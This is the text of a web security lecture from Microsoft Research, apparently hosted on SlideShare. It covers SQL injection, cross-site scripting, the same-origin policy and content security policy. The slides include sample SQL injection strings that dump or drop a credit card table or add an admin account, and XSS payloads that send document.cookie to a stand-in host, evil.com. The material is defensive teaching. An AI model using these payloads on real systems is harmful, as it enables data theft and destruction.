20111204 web security_livshits_lecture01

1,173 views
1,090 views

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
1,173
On SlideShare
0
From Embeds
0
Number of Embeds
149
Actions
Shares
0
Downloads
8
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

20111204 web security_livshits_lecture01

  1. 1. WEB AND BROWSER SECURITYBen Livshits, Microsoft Research
  2. 2. Web Application Vulnerabilities & Defenses2  Server-side woes  Static client-side  SQL injection analysis  XSS overview  Runtime client analysis and enforcement  Browser mechanisms:  Same origin policy  Cross-domain request  Server-side static and  Content security policy runtime analysis  XSS filters on the client
  3. 3. Web Application Scenario3 HTTP REQUEST HTTP RESPONSE client server
  4. 4. Vulnerability Stats: Web Vulnerabilities Are Dominating 25 20 15 10 5 0 2001 2002 2003 2004 2005 2006 Web (XSS) Buffer Overflow Source: MITRE CVE trends
  5. 5. Reported Web Vulnerabilities "In the Wild"Data from aggregator and validator of NVD-reported vulnerabilities
  6. 6. Drilling Down A Bit…6 The most common published vulnerabilities on Web applications detailed in the report continue to be Cross Site Scripting (XSS) and SQL Injection vulnerabilities, which account for 28 percent and 20 percent of all Web attacks, respectively Cenzic vulnerability trend report
  7. 7. 7 SQL Injection and XSS
  8. 8. And So It Begins…8 Source: http://xkcd.com/327/
  9. 9. SQL Injection Attacks9  Attacks a particular site, not (usually) a particular user  Affect applications that use untrusted input as part of an SQL query to a back-end database  Specific case of a more general problem: using untrusted input in commands
  10. 10. SQL Injection: Example10  Consider a browser form, e.g.:  When the user enters a number and clicks the button, this generates an http request like https://www.pizza.com/show_orders?month=10
  11. 11. Example Continued…11  Upon receiving the request, a Java program might produce an SQL query as follows: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND order_month= " + request.getParameter("month");  A normal query would look like: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10
  12. 12. Example Continued…12  What if the user makes a modified http request: https://www.pizza.com/show_orders?month=0%20OR%201%3D1  (Parameters transferred in URL-encoded form, where meta-characters are encoded in ASCII)  This has the effect of setting request.getParameter(“month”) equal to the string 0 OR 1=1
  13. 13. Example Continued13  So the script generates the following SQL query: SELECT pizza, quantity, order_day FROM orders WHERE(userid=4123 ) AND order_month=0 OR 1=1  Since AND takes precedence over OR, the above always evaluates to TRUE  The attacker gets every entry in the database!
  14. 14. Even Worse…14  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 OR 1=0 UNION SELECT cardholder, number, exp_date FROM creditcards  Attacker gets the entire credit card database as well!
  15. 15. More Damage…15  SQL queries can encode multiple commands, separated by ‘;’  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; DROP TABLE creditcards  Credit card table deleted!  DoS attack
  16. 16. More Damage…16  Craft an http request that generates an SQL query like the following: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND order_month=0 ; INSERT INTO admin VALUES (‘hacker’, ...)  User (with chosen password) entered as an administrator!  Database owned!
  17. 17. May Need to be More Clever…17  Consider the following script for text queries: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + request.getParameter(“topping") + “’”  Previous attacks will not work directly, since the commands will be quoted  But easy to deal with this…
  18. 18. Example Continued…18  Craft an http request where request.getParameter(“topping”) is set to abc’; DROP TABLE creditcards; --  The effect is to generate the SQL query: SELECT pizza, quantity, order_day FROM orders WHERE userid=4123 AND toppings=‘abc’; DROP TABLE creditcards ; --’  (‘--’ represents an SQL comment)
  19. 19. Mitigation? Solutions?19  Blacklisting  Whitelisting  Encoding routines  Prepared statements/bind variables  Mitigate the impact of SQL injection
  20. 20. Blacklisting?20  I.e., searching for/preventing ‘bad’ inputs  E.g., for previous example: sql_query = "SELECT pizza, quantity, order_day " + "FROM orders " + "WHERE userid=" + session.getCurrentUserId() + " AND topping= ‘ " + kill_chars(request.getParameter(“topping")) + “’”  …where kill_chars() deletes, e.g., quotes and semicolons
  21. 21. Drawbacks of Blacklisting21  How do you know if/when you’ve eliminated all possible ‘bad’ strings?  If you miss one, could allow successful attack  Does not prevent first set of attacks (numeric values)  Although similar approach could be used, starts to get complex!  May conflict with functionality of the database  E.g., user with name O’Brien
  22. 22. Whitelisting22  Check that user-provided input is in some set of values known to be safe  E.g., check that month is an integer in the right range  If invalid input detected, better to reject it than to try to fix it  Fixes may introduce vulnerabilities  Principle of fail-safe defaults
  23. 23. Prepared Statements/bind Variables23  Prepared statements: static queries with bind variables  Variables not involved in query parsing  Bind variables: placeholders guaranteed to be data in correct format
  24. 24. A SQL Injection Example in Java24 PreparedStatement ps = db.prepareStatement( "SELECT pizza, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParameter("month"))); ResultSet res = ps.executeQuery(); Bind variables
  25. 25. SQL Injection in the Real World CardSystems was a major credit card processing company Put out of business by a SQL injection attack  Credit card numbers stored unencrypted  Data on 263,000 accounts stolen  43 million identities exposed
  26. 26. Web Attacker3  Controls malicious website (attacker.com)  Can even obtain SSL/TLS certificate for his site  User visits attacker.com – why?  Phishing email  Enticing content  Search results  Placed by ad network  Blind luck …  Attacker has no other access to user machine!
  27. 27. Cross-site Scripting27  If the application is not careful to encode its output data, an attacker can inject script into the output out.writeln(“<div>”); out.writeln(req.getParameter(“name”)); out.writeln(“</div>”);  name: <script>…; xhr.send(document.cookie);</script>
  28. 28. XSS: Baby Steps28 http://example.com/test.php?color=red&background=pink.
  29. 29. XSS: Simple Things are Easy29http://example.com/test.php?color=green&background= </style><script>document.write(String.fromCharCode(88,83,83))</script>
  30. 30. Is It Easy to Get Right?30
  31. 31. XSSED.org: In Search of XSS31
  32. 32. One of the Reports on XSSED32
  33. 33. Repro33
  34. 34. 2006 Example Vulnerability34
  35. 35. 2006 Example Vulnerability1) Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website2) Injected code redirected PayPal visitors to a page warning users their accounts had been compromised3) Victims were then redirected to a phishing site and prompted to enter sensitive financial data Source: http://www.acunetix.cz/news/paypal.htm
  36. 36. Consequences of XSS36  Cookie theft: most common  http://host/a.php?variable="><script>document .location=http://www.evil.com/cgi- bin/cookie.cgi? %20+document.cookie</script>  But also  Setting cookies  Injecting code into running application  Injecting a key logger  etc.
  37. 37. XSS Defenses37  Simple ones  Compare IP address and cookie  Cookie HttpOnly attribute  There’s much more to be covered later
  38. 38. Taxonomy of XSS38  XSS-0: client-side  XSS-1: reflective  XSS-2: persistent
  39. 39. Memory Exploits and Web App Vulnerabilities Compared39  Buffer overruns  Cross-site scripting  Stack-based  XSS-0, -1, -2, -3  Return-to-libc, etc.  Requires careful programming  Heap-based  Static analysis tools  Heap spraying attacks  Requires careful programming or  SQL injection memory-safe languages  Generally, better, more  Don’t always help as in the case restrictive APIs are enough of JavaScript-based spraying  Simple static tools help  Static analysis tools  Format string vulnerabilies  Generally, better, more restrictive APIs are enough  Simple static tools help
  40. 40. 40 Intro to Browser Security
  41. 41. Rough Analogy with OS Design Operating system Web browser Primitives  Primitives  System calls  Document object model  Processes  Frames  Files/handles/resources  Cookies / localStorage Principals: Users  Principals: “Origins” Vulnerabilities  Vulnerabilities  Buffer overflow  Cross-site scripting  Dangling pointer exception  SQL injection
  42. 42. JavaScript Security Model42  Script runs in a  Gives a degree of “sandbox” isolation  No direct file access, restricted network access  Origin roughly is the  Is that always enough? URL, but not quite  If the same server hosts unrelated sites, scripts  Same-origin policy from one site can access  Code can only access document properties on properties of documents the other and windows from the  Is the origin always same origin representative of content?
  43. 43. Same Origin Policy: Rough Description Same Origin Policy (SOP) for DOM:  Origin A can access origin B’s DOM if match on (scheme, domain, port) Today: Same Original Policy (SOP) for cookies:  Generally speaking, based on: ([scheme], domain, path) optional scheme://domain:port/path?params
  44. 44. Library Import44  Same-origin policy does not apply to scripts loaded in enclosing frame from arbitrary site <script type="text/javascript"> src="http://www.example.com/scripts/somescript.js"> </script>  This script runs as if it were loaded from the site that provided the page!
  45. 45. Interaction with the DOM SOP Cookie SOP: path separation x.com/A does not see cookies of x.com/B Not a security measure: DOM SOP: x.com/A has access to DOM of x.com/B <iframe src=“x.com/B"></iframe> alert(frames[0].document.cookie); Path separation is done for efficiency not security: x.com/A is only sent the cookies it needs
  46. 46. Another Hole: Domain Relaxation www.facebook.com chat.facebook.com www.facebook.com facebook.com facebook.com chat.facebook.comwww.facebook.com Can use document.domain = “facebook.com” Origin: scheme, host, (port), hasSetDomain Try document.domain = document.domain
  47. 47. This is Just the Beginning…47  Browser Security Handbook  ... DOM access  ... XMLHttpRequest  ... cookies  ... Flash  ... Java  ... Silverlight  ... Gears  Origin inheritance rules
  48. 48. XmlHttpRequest48  XmlHttpRequest is the foundation of AJAX-style application on the web today  Typically:
  49. 49. Virtually No Full Compatibility49 Why is lack of compatibility bad?
  50. 50. W3C CSP: Content Security Policy50  Example 1: A server wants all content to come from its own domain:  X-Content-Security-Policy: default-src self‘  Example 2: An auction site wants to allow images from anywhere, plugin content from a list of trusted media providers including a content distribution network, and scripts only from a server under its control hosting sanitized ECMAScript:  X-Content-Security-Policy: default-src self; img-src *;  object-src media1.example.com media2.example.com *.cdn.example.com;  script-src trustedscripts.example.com  Example 3: A site operations group wants to globally deny all third-party scripts in the site, and a particular project team wants to also disallow third-party media in their section of the site. Site operations sends the first header while the project team sends the second header, and the user-agent takes the intersection of the two headers to form the complete interpreted policy:  X-Content-Security-Policy: default-src *; script-src self  X-Content-Security-Policy: default-src *; script-src self; media-src self‘  Example 4: Online banking site wants to ensure that all of the content in its pages is loaded over TLS to prevent attackers from eavesdropping on insecure content requests:  X-Content-Security-Policy: default-src https://*:443
  51. 51. HTML5 Sandbox51 <iframe src="untrusted.html" sandbox="allow-scripts allow-forms"> </iframe>  allow-scripts  allow-forms  allow-same-origin  allow-top-navigation  ms-allow-popups
  52. 52. HTML5 Sandbox in Action52

×